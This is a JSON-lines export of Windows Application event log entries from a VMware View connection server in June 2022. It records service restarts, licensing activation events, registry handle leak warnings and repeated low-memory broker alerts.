{"@timestamp":1655060405581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","8856","3221225786"]}}},"module":"Application","provider":"nssm","sequence":168883}}
{"@timestamp":1655060405581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["8856","4252","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":168884}}
{"@timestamp":1655098792808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"922E0000932E0000D6050000","binaryDataSize":12,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":168885}}
{"@timestamp":1655098792930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1000,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"942E0000642F0000952E0000652F0000","binaryDataSize":16,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":168886}}
{"@timestamp":1655098898423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":5,"custom_data":{"EventData":{"Binary":"","User":"ENGINEERING-AC\\admin-otte"}},"module":"Application","provider":"Microsoft-Windows-Search-ProfileNotify","sequence":168887}}
{"@timestamp":1655098898481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1534,"custom_data":{"EventData":{"#attributes":{"Name":"EVENT_PROFILE_NOTIFICATION_FAIL"},"Component":"{2c86c843-77ae-4284-9722-27d65366543c}","Error":"Not implemented\r\n","Event":"Create"}},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":168888}}
{"@timestamp":1655098953032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-06-15T15:26:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168889}}
{"@timestamp":1655098983044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-06-15T15:27:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168890}}
{"@timestamp":1655099016514,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-06-15T15:26:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168891}}
{"@timestamp":1655099046531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-06-15T15:27:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168892}}
{"@timestamp":1655099066485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","START"]}}},"module":"Application","provider":"nssm","sequence":168893}}
{"@timestamp":1655099066532,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":168894}}
{"@timestamp":1655099066547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":168895}}
{"@timestamp":1655099068595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":168896}}
{"@timestamp":1655099086065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-06-15T15:26:46Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168897}}
{"@timestamp":1655099099941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":9027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"Desktop Window Manager","sequence":168898}}
{"@timestamp":1655099099339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1530,"custom_data":{"EventData":{"#attributes":{"Name":"EVENT_HIVE_LEAK"},"Detail":"10 user registry handles leaked from \\Registry\\User\\S-1-5-21-1078081533-1645522239-682003330-29298:\nProcess 708 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-29298\\System\\GameConfigStore\\Parents\nProcess 708 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-29298\\System\\GameConfigStore\nProcess 68 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-29298\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\nProcess 8884 (<Unknown>) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-29298\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 2004 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-29298\\SOFTWARE\\Policies\\Microsoft\\Windows\\DataCollection\nProcess 8884 (<Unknown>) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-29298\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 8884 (<Unknown>) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-29298\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\nProcess 8884 (<Unknown>) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-29298\\SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Main\nProcess 708 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-29298\\System\\GameConfigStore\\Children\nProcess 8884 (<Unknown>) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-29298\\SOFTWARE\\Microsoft\\Internet Explorer\\Security\n"}},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":168899}}
{"@timestamp":1655099116192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-06-15T15:26:16Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168900}}
{"@timestamp":1655099410383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168901}}
{"@timestamp":1655100038223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jun 13 08:00:38 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168902}}
{"@timestamp":1655143242257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jun 13 20:00:42 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168903}}
{"@timestamp":1655161943351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168904}}
{"@timestamp":1655186446285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jun 14 08:00:46 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168905}}
{"@timestamp":1655223216118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168906}}
{"@timestamp":1655229650498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jun 14 20:00:50 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168907}}
{"@timestamp":1655272854837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jun 15 08:00:54 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168908}}
{"@timestamp":1655282808333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168909}}
{"@timestamp":1655306884757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/12/05:15:28:04;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168910}}
{"@timestamp":1655306885904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"00000600FA1D20AE27DC825E05B7F77DE231F6E5A3AFCBB3020C6798248990E8E11B7D19F9D17AABF14BD37C89EAFED0F4E49E926BF8BB7EB65C588A4EF4EDC025D3A92369E69E19931026FD49D3F54D21333522CD1EAA0F7DE56E17562A702106CF261C46613E98104EE46C1826A5B36219E458DD4DBD7370996B917E4577BE0EF6D7ABFE0FCF6FC8E96BE824941C89BA22A68AB3CCA812B143976B8D3892268B177FB2C4296E271AE7C43B3D31949337D16BF31B22E1B6209007421E0C9DC41A49257418D6C34FAB0797A2284446AB12EB5F7613A21E8C177F501624238125DEEF44C0BA586CFA62ACC852BD3149C5A2339EF508CDD2AC6E4326BD425C4C42CD97854D","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/06/15 15:28, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168911}}
{"@timestamp":1655306886034,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"00000600D9F5EE1629F98D24F10E58A2AB60239B16470E79B5E0AC054C6F5FC9C3BFD8F331990CF3F5C6838A534EE9DDF4B89A717400278A572B50478BA2342CB38B6B5405DB3693A7EBE20D673C13BED40BDB00A6BA45A5C7C8102DC77C66E05B8F3F89BA659EC05E1D4873B90892349320F2385A8F16EBE3F940743BC1ADB74D7F6D5CD226535E5896BBE1A4DCC7988EBCD4668C898530F76A0982040E0DF7BB565A6D789602BD8985888C591F4A0F2B0CC787EFE3570876AD143BCC85F0A1C4458FD18D4174788E1EA4C3A1D4AC2311B877F59FF8DC7A7B400958E9974C7237391BEF695E002AF86AC241EC8038229A0CAE8522C4877E573B6869AED7EEEEADD3C0BD","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/06/15 15:28"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168912}}
{"@timestamp":1655306886202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168913}}
{"@timestamp":1655306886204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168914}}
{"@timestamp":1655306886206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168915}}
{"@timestamp":1655306886271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168916}}
{"@timestamp":1655306886384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168917}}
{"@timestamp":1655306886407,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168918}}
{"@timestamp":1655306886643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/12/12:15:28:06;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168919}}
{"@timestamp":1655306886664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168920}}
{"@timestamp":1655306916700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-06-22T15:27:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168921}}
{"@timestamp":1655316058902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jun 15 20:00:58 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168922}}
{"@timestamp":1655340660264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168923}}
{"@timestamp":1655359262964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jun 16 08:01:02 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168924}}
{"@timestamp":1655402466979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jun 16 20:01:06 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168925}}
{"@timestamp":1655403193119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168926}}
{"@timestamp":1655445671081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jun 17 08:01:11 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168927}}
{"@timestamp":1655466446012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168928}}
{"@timestamp":1655488875095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jun 17 20:01:15 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168929}}
{"@timestamp":1655510823535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/12/12:15:29:03;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168930}}
{"@timestamp":1655510853544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-06-22T15:28:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168931}}
{"@timestamp":1655527898543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168932}}
